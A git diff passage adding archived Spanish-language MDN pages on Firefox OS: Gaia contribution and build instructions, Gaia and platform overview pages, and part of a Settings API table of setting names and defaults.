+ <li>Multi-word file names should use the "underscore" character to separate words, <code>like_this.js</code>.</li>
+ <li>Use single quotes instead of double quotes for strings.</li>
+</ul>
+
+<h4 id="Reglas_Adicionales">Reglas Adicionales</h4>
+
+<p>Mal:</p>
+
+<pre>if (expression) doSomething();
+</pre>
+
+<p>Correcto:</p>
+
+<pre>if (expression) {
+  doSomething();
+}
+</pre>
+
+<p>If you're working on the system app, check out the guidance listed <a href="https://groups.google.com/d/msg/mozilla.dev.gaia/rEhSrw6XmT4/UNvE7qW9pgYJ" title="See_here_for_some_rules._https://groups.google.com/d/msg/mozilla.dev.gaia/rEhSrw6XmT4/UNvE7qW9pgYJ">here</a>.</p>
+
+<p>Before submitting a patch we recommend you run <a href="http://closure-linter.googlecode.com/svn/trunk/closure_linter/gjslint.py" title="http://closure-linter.googlecode.com/svn/trunk/closure_linter/gjslint.py">gjslint</a> on it to check for any style errors:</p>
+
+<pre>gjslint --nojsdoc my_file.js</pre>
+
+<h3 id="Enviando_un_parche">Enviando un parche</h3>
+
+<p>First file or assign a bug to yourself on <a href="https://bugzilla.mozilla.org/buglist.cgi?product=Firefox OS&amp;component=Gaia&amp;resolution=---" title="https://bugzilla.mozilla.org/buglist.cgi?product=Firefox OS&amp;component=Gaia&amp;resolution=---">Bugzilla</a>, you'll need a Bugzilla account.</p>
+
+<p>Then create a branch on your fork of Gaia:</p>
+
+<pre>$ git branch branchname
+$ git checkout branchname</pre>
+
+<p>Commit your changes:</p>
+
+<pre>$ git add /file/to/add
+$ git commit -m "Bug XXXXX - Fix the broken Gaia and save the world"</pre>
+
+<p>Push your branch:</p>
+
+<pre>$ git push origin branchname</pre>
+
+<p>Send a pull request by navigating to the branch in your fork on GitHub and finding the pull request button.</p>
+
+<p>To request a review of your patch, add an attachment to the bug in Bugzilla referencing the URL of the pull request and set the review ("r") flag to "?" and enter the bugzilla ID of one of the <a href="https://wiki.mozilla.org/Modules/FirefoxOS" title="https://wiki.mozilla.org/Modules/FirefoxOS">module owners and peers</a>. The <a href="https://addons.mozilla.org/en-US/firefox/addon/github-tweaks-for-bugzilla/" title="https://addons.mozilla.org/en-US/firefox/addon/github-tweaks-for-bugzilla/">Github tweaks for bugzilla extension on AMO</a> can help automate this process by automatically creating the attachment and adding it to the bug; you will still need to set the review flag on Bugzilla.</p>
+
+<p>The reviewer may ask you to make some changes. Once they're is happy with your patch, they will merge it into the master branch for you. Before they do this they would prefer it if you could squash all your changes into a single commit, so your contribution can be tracked easily.</p>
+
+<p>The person who merge the commit (usually the reviewer) would add a <code>r=</code> flag in the comment of the merge commit.</p>
+
+<h2 id="Opciones_de_Make">Opciones de Make</h2>
+
+<p>There are many undocumented nor unsupported environment variable presists in the Makefile. Do not depend on them as they may be removed in the future.</p>
+
+<h3 id="Default">Default</h3>
+
+<pre>make</pre>
+
+<p>Make a profile with packaged apps, lunachable by B2G Desktop and can be pushed to device.</p>
+
+<h3 id="Debug_make">Debug make</h3>
+
+<pre>DEBUG=1 make</pre>
+
+<p>The <code>DEBUG</code> part runs Gaia as hosted apps on a built-in web server, rather than the default packaged apps which have to be re-packaged after every change. Launch the profile with the latest Firefox Nightly will also give you nice B2G specific panels on the Firefox Developer Tools.</p>
+
+<h3 id="Push_to_device">Push to device</h3>
+
+<pre>make install-gaia
+
+make reset-gaia</pre>
+
+<p>With <code>adb</code> (Android Debug Bridge) setup, these make targets will push Gaia to the device. <code>reset-gaia</code> will purge the profile and all other webapps before pushing the new Gaia copy.</p>
+
+<h3 id="Selective_build">Selective build</h3>
+
+<pre>APP=system make
+
+APP=system make install-gaia</pre>
+
+<p>With a profile already exists, <code>APP</code> allow you to specify which app to re-package, instead of re-pack and re-push all the Gaia apps.</p>
+
+<h3 id="High_resolution_image_assets">High resolution image assets</h3>
+
+<pre>GAIA_DEV_PIXELS_PER_PX=1.5 make</pre>
+
+<p>When packaging the app, replace images with their <code>*@1.5x.(gif|jpg|png)</code> ones if such image exists.</p>
+
+<p>Gaia is currently targetting HBGA (320x240), qHD (540×960) and WVGA (480×800) only; use GAIA_DEV_PIXELS_PER_PX to make sure the images looks sharp on qHD and WVGA devices. see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag#A_pixel_is_not_a_pixel" title="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag#A_pixel_is_not_a_pixel">A pixel is not a pixel</a> for more information about device pixels per css pixels.</p>
+
+<h3 id="Script_compression_and_optimization">Script compression and optimization</h3>
+
+<pre>GAIA_OPTIMIZE=1 make</pre>
+
+<p>(TBA)</p>
+
+<h3 id="App_selection">App selection</h3>
+
+<pre>GAIA_APP_SRCDIRS=apps test_apps showcase_apps</pre>
+
+<p>(TBA)</p>
+
+<h3 id="App_selection_shortcuts">App selection shortcuts</h3>
+
+<pre>PRODUCTION=1
+DOGFOOD=1</pre>
+
+<p>(TBA)</p>
+
+<h3 id="Preference_shortcuts">Preference shortcuts</h3>
+
+<pre>NOFTU=1
+REMOTE_DEBUGGER=1</pre>
+
+<p>(TBA)</p>
+
+<h3 id="Device_webapp_installation_partation_selection">Device webapp installation partation selection</h3>
+
+<pre>B2G_SYSTEM_APPS=1</pre>
+
+<p>(TBA)</p>
+
+<h3 id="Distribution_and_market_customization_build">Distribution and market customization build</h3>
+
+<pre>GAIA_DISTRIBUTION_DIR=./dir</pre>
+
+<p>Read <a href="https://wiki.mozilla.org/B2G/MarketCustomizations" title="https://wiki.mozilla.org/B2G/MarketCustomizations">Customization Overview</a> for detail.</p>
+
+<h2 id="Contacting_the_Team">Contacting the Team</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-gaia" rel="nofollow">Gaia Mailing List</a></li>
+ <li>#gaia IRC channel on irc.mozilla.org</li>
+</ul>
diff --git a/files/es/archive/b2g_os/platform/gaia/index.html b/files/es/archive/b2g_os/platform/gaia/index.html
new file mode 100644
index 0000000000..f8664fd4ee
--- /dev/null
+++ b/files/es/archive/b2g_os/platform/gaia/index.html
@@ -0,0 +1,61 @@
+---
+title: Gaia
+slug: Archive/B2G_OS/Platform/Gaia
+tags:
+  - '#B2G #gaia'
+translation_of: Archive/B2G_OS/Platform/Gaia
+---
+<p>Gaia es la capa de interfaz de usuario de <a href="/es/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>. Todo lo que aparece en la pantalla luego que Firefox OS inicia es presentado por Gaia, incluyendo la pantalla de bloqueo, el marcador y otras aplicaciones. Gaia está completamente escrito en <a href="/en-US/docs/en-US/HTML" title="/en-US/docs/en-US/HTML">HTML</a>, <a href="/es/docs/CSS" title="/en-US/docs/CSS">CSS</a>, y <a href="/es/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a>. Su única interfaz al sistema operativo y hardware subyacentes es a través de interfaces web estándar (Web API), implementadas por <a href="/es/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a>.</p>
+<p>Por su diseño, Gaia puede ser ejecutado no solo en dispositivos Firefox OS, sino en otros sistemas operativos y otros navegadores (aunque posiblemente con funcionalidad reducida dependiendo de las capacidades del navegador).</p>
+<p>Aplicaciones de terceros instaladas junto a Gaia pueden ser cargados por Gaia.</p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Documentation" name="Documentation">Documentación sobre Gaia</h3>
+    <dl>
+     <dt>
+      <a href="/es/docs/Mozilla/Firefox_OS/Gaia/Introduction_to_Gaia" title="en-US/docs/Mozilla/Boot_to_Gecko/Introduction to Gaia">Introducción a Gaia</a></dt>
+     <dd>
+      Gaia es la intefaz de usuario para dispositivos Firefox OS; Es simplemente una aplicación web corriendo en la parte superior de Firefox OS. Esta guia te introducirá a Gaia.</dd>
+     <dt>
+      <a href="/es/docs/Mozilla/Firefox_OS/Gaia_hacking_guide" title="en-US/docs/Mozilla/Boot_to_Gecko/Gaia hacking guide">Guía para hackear Gaia</a></dt>
+     <dd>
+      La guía para hackear y modificar la interfaz de Gaia.</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Gaia" title="/en-US/docs/tag/B2G">Ver todas...</a></span></p>
+   </td>
+   <td>
+    <h3 id="Community" name="Community">Obteniendo ayuda de la comunidad</h3>
+    <p>Si estas trabajando en Gaia, o desarrollando aplicaciones para Gaia, estos son los recursos de la comunidad para ayudarte</p>
+    <ul>
+     <li>Consulta el foro de Boot to Gecko: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-gaia"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.gaia"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.gaia/feeds"> como RSS</a></li>
+</ul></li>
+    </ul>
+    <ul>
+     <li>Haz tus preguntas en el canal Gaia del irc de Mozilla: <a href="irc://irc.mozilla.org/gaia" title="irc://irc.mozilla.org/gaia">#gaia</a></li>
+    </ul>
+    <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">No olvides como hacer adecuadamente tus preguntas...</a></span></p>
+    <br>
+    <h3 id="Related_Topics" name="Related_Topics">Articulos relacionados</h3>
+    <ul>
+     <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
+     <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li>
+     <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li>
+     <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+    </ul>
+    <h3 id="Recursos">Recursos</h3>
+    <ul>
+     <li><a href="/en-US/docs/Mozilla/Firefox_OS/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Architecture">Firefox OS architecture overview</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><br>
+  </p>
diff --git a/files/es/archive/b2g_os/platform/gaia/introduction_to_gaia/index.html b/files/es/archive/b2g_os/platform/gaia/introduction_to_gaia/index.html
new file mode 100644
index 0000000000..14c7fb3e16
--- /dev/null
+++ b/files/es/archive/b2g_os/platform/gaia/introduction_to_gaia/index.html
@@ -0,0 +1,13 @@
+---
+title: Introducción a Gaia
+slug: Archive/B2G_OS/Platform/Gaia/Introduction_to_Gaia
+translation_of: Archive/B2G_OS/Platform/Gaia/Introduction_to_Gaia
+---
+<p>Gaia es la interfaz de usuario de Boot to Gecko (B2G); es un conjunto de aplicaciones Web que se ejecutan en un dispositivo B2G, emulador, repertorio de escritorio, o versión de Firefox. Todo lo que necesitas conocer para añadir aplicaciones o realizar cambios a Gaia son tecnologías Web como <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/HTML" title="en/HTML">HTML</a>, and <a href="/en/CSS" title="en/CSS">CSS</a>.</p>
+<h2 id="Pantalla_de_bloqueo_de_Gaia">Pantalla de bloqueo de Gaia</h2>
+<p>Predeterminadamente, la pantalla de bloqueo está habilitada, y el PIN por defecto para desbloquear el equipo es "0000". Es muy probable que esta característica cambie con el tiempo mientras es optimizada.</p>
+<h2 id="La_interfaz_por_defecto_de_Gaia">La interfaz por defecto de Gaia</h2>
+<p>La interfaz por defecto en Gaia es similar a lo que se observa en la mayoría de los teléfonos inteligentes, como se muestra aquí.</p>
+<p><a href="/@api/deki/files/6276/=screenshot.png" title="screenshot.png"><img alt="Gaia Home" class="internal lwrap" src="/files/4601/device-2013-01-24-163623.png" style="width: 320px; height: 480px; float: left;"></a>Esta imagen es evidentemente de una versión preliminar del sistema operativo, con iconos de relleno (y algunas aplicaciones de prueba). La barra de estado en la parte superior indica la red en la que el teléfono está operando (o "No hay tarjeta SIM" para un dispositivo sin ninguna red telefónica), la intensidad de la red, la intensidad de la señal WiFi, nivel de batería, y la hora actual.</p>
+<p>La sección media de la pantalla muestra los iconos de las aplicaciones; al deslizar hacia la izquierda y derecha se desplaza a través de pantallas de iconos.</p>
+<p>En la parte inferior de la pantalla se localiza una barra con espacio para hasta siete de las aplicaciones más usadas. Puedes arrastrar y soltar aplicaciones a esta barra desde la sección media.</p>
diff --git a/files/es/archive/b2g_os/platform/index.html b/files/es/archive/b2g_os/platform/index.html
new file mode 100644
index 0000000000..1e6dda531b
--- /dev/null
+++ b/files/es/archive/b2g_os/platform/index.html
@@ -0,0 +1,94 @@
+---
+title: La Plataforma Firefox OS
+slug: Archive/B2G_OS/Platform
+translation_of: Archive/B2G_OS/Platform
+---
+<p>La Plataforma Firefox OS esta formada por varios componenetes. No obstante no es necesario comprender su arquitectura para desarrollar aplicaciones que funcionen en Firefox OS, si estás trabajando en el desarrollo o adaptación de esta plataforma, o simplemente estás curioseando, esta documentación puede resultar de tu interés.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">DocumentaCion sobre la plataforma Firefox OS</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Introduction" title="en-US/docs/Mozilla/Firefox_OS/Introduction">Introducción al Firefox OS</a></dt>
+          <dd>
+            Información introductoria sobre qué y cómo trabaja Firefox OS.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="en-US/docs/Mozilla/Firefox_OS/Building and installing Boot to Gecko">Instalación y Montaje de Firefox OS</a></dt>
+          <dd>
+            Una guía para Instalar y Montar Firefox OS en terminales compatibles. Esta guía además incluye un emulador para poder arrancar Firefox OS en un PC.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></dt>
+          <dd>
+            Documentacion sobre Gaia, la interfaz de usuario para los dispositivos Firefox OS; se trata de una Aplicación Web que se ejecuta en el propio dispositivo plataformado con Firefox OS.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></dt>
+          <dd>
+            Documentación sobre Gonk, la capa del sistema operativo sobre el que corre Gaia. Está formado por un nucleo de Linux (Linux kernel) y una capa de drivers que permiten la comunicación entre Gecko y el propio dispositivo.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a></dt>
+          <dd>
+            <span id="result_box" lang="es"><span class="hps">Gecko</span> <span class="hps">es la capa</span> <span class="hps">de</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">que proporciona</span> <span class="hps">a la plataforma los mismos</span><span class="hps"> estándares web</span> <span class="hps">abiertos,</span> <span class="hps">utilizados por</span> <span class="hps">Firefox</span> <span class="hps">y</span> <span class="hps">Thunderbird,</span> <span class="hps">así como muchas</span> <span class="hps">otras aplicaciones.</span></span></dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart">Feature support chart</a></dt>
+          <dd>
+            A chart of which features are available in which types of Firefox OS builds.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture">Firefox OS architecture overview</a></dt>
+          <dd>
+            An overview of how Firefox OS is structured internally; this is primarily of interest to platform developers and people doing porting work.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture">Firefox OS apps architecture</a></dt>
+          <dd>
+            An overview of the application model on Firefox OS.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing">Testing Firefox OS</a></dt>
+          <dd>
+            A guide to testing Firefox OS, including information about creating automated tests.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Porting" title="/en-US/docs/Mozilla/Firefox_OS/Porting">Porting Firefox OS</a></dt>
+          <dd>
+            Information about how to port Firefox OS to new devices.</dd>
+          <dt>
+            <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a></dt>
+          <dd>
+            How to customize the build and execution of Firefox OS by changing the <code>.userconfig</code> file.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">View All...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Community" name="Community">Getting help from the community</h2>
+        <p>If you're working with Firefox OS, or developing applications you'd like to run on Firefox OS devices, there are community resources to help you!</p>
+        <ul>
+          <li>Consult the Boot to Gecko project forum: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-b2g"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g/feeds"> como RSS</a></li>
+</ul></li>
+        </ul>
+        <ul>
+          <li>Ask your question on Mozilla's Boot to Gecko IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+        </ul>
+        <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+        <br>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related topics</h2>
+        <ul>
+          <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
+          <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li>
+          <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li>
+          <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+        </ul>
+        <h2 class="Tools" id="Resources">Resources</h2>
+        <ul>
+          <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">Mozilla wiki FAQ</a></li>
+          <li><a class="link-https" href="https://wiki.mozilla.org/B2G/Schedule_Roadmap" title="https://wiki.mozilla.org/B2G/Schedule_Roadmap">Roadmap</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart">Feature support chart</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/es/archive/b2g_os/platform/settings_list/index.html b/files/es/archive/b2g_os/platform/settings_list/index.html
new file mode 100644
index 0000000000..d5397affd8
--- /dev/null
+++ b/files/es/archive/b2g_os/platform/settings_list/index.html
@@ -0,0 +1,709 @@
+---
+title: Firefox OS settings list
+slug: Archive/B2G_OS/Platform/Settings_list
+translation_of: Archive/B2G_OS/Platform/Settings_list
+---
+<div class="summary">
+ <p><span class="seoSummary">Firefox OS offers a number of settings that configure the device and its built-in features. These settings can be accessed by certified apps using the <a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings">Settings API</a>.</span></p>
+</div>
+<div class="note">
+ <p><strong>Note:</strong> Because of differences in features provided by different devices and different releases of Firefox OS, this list may or may not be an exact match for what's available on every device.</p>
+</div>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Setting name</th>
+   <th scope="col">Type</th>
+   <th scope="col">Default value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>accessibility.invert</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>accessibility.screenreader</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>alarm.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>app.reportCrashes</code></td>
+   <td>String</td>
+   <td><code>ask</code></td>
+  </tr>
+  <tr>
+   <td><code>app.update.interval</code></td>
+   <td>Number</td>
+   <td>86400</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.alarm</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.bt_sco</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.dtmf</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.content</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.notification</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.tts</code></td>
+   <td>Number</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <td><code>audio.volume.telephony</code></td>
+   <td>Number</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td><code>bluetooth.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>bluetooth.debugging.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>camera.shutter.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>clear.remote-windows.data</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.grid.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.oop.disabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.fps.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.ttl.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.log-animations.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.paint-flashing.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>debug.peformancedata.shared</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.firmware_revision</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.hardware</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.os</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.platform_build_id</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.platform_version</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.software</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>deviceinfo.update_channel</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>gaia.system.checkForUpdates</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>general.useragent.updates.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>geolocation.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.english</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.dvorak</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.otherlatins</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.cyrillic</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.arabic</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.hebrew</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.zhuyin</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.pinyin</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.greek</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.japanese</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.polish</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.portuguese</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.layouts.spanish</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.vibration</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.clicksound</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.autocorrect</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.wordsuggestion</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>keyboard.current</code></td>
+   <td>String</td>
+   <td><code>en</code></td>
+  </tr>
+  <tr>
+   <td><code>language.current</code></td>
+   <td>String</td>
+   <td><code>en-US</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.passcode-lock.code</code></td>
+   <td>String</td>
+   <td><code>0000</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.passcode-lock.timeout</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.passcode-lock.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.notifications-preview.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.locked</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>lockscreen.unlock-sound.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>mail.sent-sound.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>message.sent-sound.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>operatorvariant.mcc</code></td>
+   <td>String</td>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <td><code>operatorvariant.mnc</code></td>
+   <td>String</td>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.iccInfo.mbdn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.sms.strict7BitEncoding.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.cellbroadcast.searchlist</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>debug.console.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>phone.ring.keypad</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>powersave.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>powersave.threshold</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>privacy.donottrackheader.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.callwaiting.enabled</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.cf.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.data.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.data.apn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.carrier</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.defaultServiceId</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.data.passwd</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.httpProxyHost</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.httpProxyPort</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.data.mmsc</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
